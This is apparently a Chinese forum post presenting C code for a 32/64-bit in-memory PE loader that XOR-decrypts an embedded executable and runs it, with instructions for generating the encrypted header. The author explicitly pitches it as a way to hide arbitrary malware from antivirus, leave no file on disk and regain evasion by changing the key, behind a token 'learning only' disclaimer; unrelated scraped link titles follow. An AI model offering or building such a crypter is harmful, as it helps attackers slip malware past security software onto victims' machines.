http://bbs.pediy.com/showthread.php?t=203910
绝对自动支持32、64位的内存加载源码

无聊逛看雪时,看到了这个。
然后到github上找到了源。就是这里:https://github.com/fancycode/MemoryModule

结合我几年前写的一个利用方法:https://github.com/eric21/MemPE

使用方法超级简单:

#include <windows.h> #include <tchar.h> #include <stdio.h> #include <malloc.h> #include "MemoryModule.h" #include "res\a.h" int RunForAarray(void) {   HMEMORYMODULE handle;   int result = -1;   for (int i = 0; i < sizeof(aArray); i++)   {     //szArray[i] = ~ szArray[i]; // 取反 ~     aArray[i] = aArray[i] ^ 123; // 异或 ^   }   handle = MemoryLoadLibrary(aArray);   if (handle == NULL)   {     //_tprintf(_T("Can't load library from memory.\n"));     goto exit;   }   result = MemoryCallEntryPoint(handle);   if (result < 0) {     //_tprintf(_T("Could not execute entry point: %d\n"), result);   }   MemoryFreeLibrary(handle); exit:   if (aArray)     free(aArray);   return result; } int main(int argc, char* argv[]) {     return RunForAarray(); }

res目录下a.h文件生成方法:EncryptFile.exe 1.exe a.h aArray 123

生成的加密key和loader的解密key一致即可,这里演示用,均为123

理论上可以通过异或加密后将任意malware保存在loader内,不会被安全软件查杀,解密后加载内存,不会产生文件,只要更换加密key,就可以实现再次免杀。

注意:过不了主动防御。

重要声明:此文章仅供学习交流,请勿用于非法用途!
 支持64位系统的XOR加密后内存加载PE绕过杀毒软件.rar

不知道还有多少人记得我,已经离开安全圈子很多年了,
偶尔回来看看,发现很多人依然在坚持,让我十分佩服。
喜欢研究Malware的同好可以联系我  http://www.eric21.com/about

支持64位系统的XOR加密后内存加载PE绕过杀毒软件相关推荐

  1. 注意啦,还没有支持64位系统的App开发者,务必在12月底前完成这件事

    注意啦!还没有支持64位系统的App开发者务必在12月底前完成这件事! 近日,国内五大应用商店宣布,将共同推进国内安卓生态对64位架构的升级支持,目的是更好提升APP性能体验并降低功耗. 友盟+ U- ...

  2. 最好的蓝牙驱动-BlueSoleil千月蓝牙破解版10.2.497.0-2018\10\9更新下,支持64位系统

    最好的蓝牙驱动-千月10.0.0496破解版-2018年支持64位系统 - 幻生的博客 - CSDN博客 https://blog.csdn.net/qq_36114959/article/detai ...

  3. vs2015web项目无法加载64位c++的dll,提示试图加载不正确的格式

    vs2015无法加载64位c++的dll,提示试图加载不正确的格式! 开始用winform引用64位的c++的dll,在项目的属性设置生成里面选择any cpu或者x64都可以成功! 但在web项目和 ...

  4. EXCEL 2003-2016 日期选择器插件 支持64位系统

    EXCEL 2003-2016 日期选择器插件 支持64位 使用简单且漂亮的EXCEL日期选择器插件 效果如下: Download now for Excel 2007 – 2016 Download ...

  5. c4d支持mac系统渲染器有哪些_在macOS Catalina发布前检查哪些应用程序不支持64位系统...

    macOS Catalina 让你喜欢的种种 Mac 体验都更进一步.你可以领略音乐.播客这两款全新 Mac app 的表演:在 Mac 上畅享各款自己心爱的 iPad app:拿起 iPad 和 A ...

  6. amd cpu跑linux64,给新手提醒:amd的cpu绝大部分支持64位系统。

    jagub 于 2009-06-10 09:10:06发表: 引用: 但是换系统很麻烦的,,,,所以我正在犹豫,先用我的arch吧,用着挺顺手的,等着我再自己搭建环境吧,反正就是装软件包的事. 微宝贝 ...

  7. 可牛免费杀毒1.5beta2 全新自我保护支持64位系统

    可牛免费杀毒1.5beta2 (2010-11-2)主要更新:1.5.1.1105 1.新增对64位操作系统的支持,全新实时保护: 2.修复自我保护导致网络连接检测错误的问题: 3.调整本地病毒库升级 ...

  8. win7 64位 web项目OCX控件无法加载原因

    多了不说什么 ,直接切入主题 首先,你要确认你要加载的控件已经成功的注册了,如果没有注册,请按照以下方式注册 注册成功之后,如果界面依然没有加载控件,则考虑注册表的影响了 将ocx文件拷贝到SysWO ...

  9. Enterprise Solution 进销存管理软件 C/S架构,支持64位系统 物流,资金流,信息流全面集成...

    定位  Target Customers 中小型生产制造企业,批发零售类,贸易企业 主要模块 Modules 采购.销售.库存.财务账款四大模块,包含企业运作过程中销售.采购.库存各岗位需要的全部功能 ...

最新文章

  1. 是什么阻碍了你的 AI 致富路?
  2. [转载]安装openssl,windows版
  3. haproxy定义规则限制IP访问
  4. Ext JS 3.0 RC1.1 Released发布了
  5. python基础教程:ord()和chr()
  6. 大数据WEB阶段(十八)数据库事务
  7. Zookeeper原理架构
  8. C++字符串输入输出转换
  9. C#.NET自定义报表数据打印
  10. wps画流程图交叉弧形_wps画的流程图打印不清晰|wps怎么绘制出立体流程图?wps绘制出立体流程图的方法...
  11. 计算机EXE文件改参数,exe文件修改器(eXeScope)
  12. wps纸张大小设置成A4_pdf两页合并一页a4,只需这招轻松搞定
  13. Angluar编译过程中出现的TS2339问题
  14. 量子物理与计算机,量子计算机与量子物理
  15. 软件设计师2022记录
  16. 线程并发锁竞争--java锁jvm锁--synch锁分析
  17. Selenium学习 - 库代码解析
  18. 在win10上通过usb连接树莓派
  19. 【UE虚幻引擎】手把手教学,UE打包全攻略
  20. 程序员应该如何写好自己的简历

热门文章

  1. 关于Spring AOP代理的生成过程
  2. 日志规范之slf4j整合JDK14以及Simple的使用
  3. 入门程序之入门代码编写
  4. 如何免安装服务器将 React 整合进 Spring Boot
  5. 201024阶段二Linux
  6. Just for fun——go实现一下观察者模式
  7. Linux打tar包排除目录中的某个目录
  8. 自动布局报错(两条连线冲突):Unable to simultaneously satisfy constraints
  9. 多网卡无法上外网的解决
  10. shaderlab UV动画所需的变量声明